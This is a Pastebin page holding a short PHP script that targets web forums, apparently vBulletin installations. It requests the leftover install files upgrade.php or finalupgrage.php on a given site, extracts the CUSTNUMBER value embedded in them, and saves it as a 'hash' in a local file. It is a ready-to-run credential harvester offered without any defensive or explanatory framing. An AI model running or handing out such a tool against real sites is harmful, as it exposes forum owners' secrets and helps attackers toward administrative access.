Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- set_time_limit(0);
- if($argc < 2) {
- echo "Usage: {$argv[0]} http://site.ru/forum" . PHP_EOL;
- exit;
- }
- $URL = $argv[1];
- $arr = parse_url($URL);
- ### work with url
- if(strpos($URL, '?')) die("Ohh, your URL is not valid");
- if(substr($URL, -1, 1) != '/') $URL = $URL . '/';
- if(!$arr['scheme']) $URL = 'http://' . $URL;
- $headers = get_headers($URL . '/install/upgrade.php');
- if(substr($headers[0], 9, 3) == '200') {
- $source = file_get_contents($URL . "/install/upgrade.php");
- }
- elseif($headers = get_headers($URL . '/install/finalupgrage.php')) {
- if(substr($headers[0], 9, 3) == '200') $source = file_get_contents($URL . "/install/finalupgrage.php");
- }
- else die("something went wrong...");
- preg_match_all('|var CUSTNUMBER = "(.*?)";|', $source, $res);
- foreach ($res[1] as $hash) {
- echo "Hash: " . $hash . PHP_EOL;
- $fp = fopen("hash.txt", "a+");
- fwrite($fp, $hash . PHP_EOL);
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement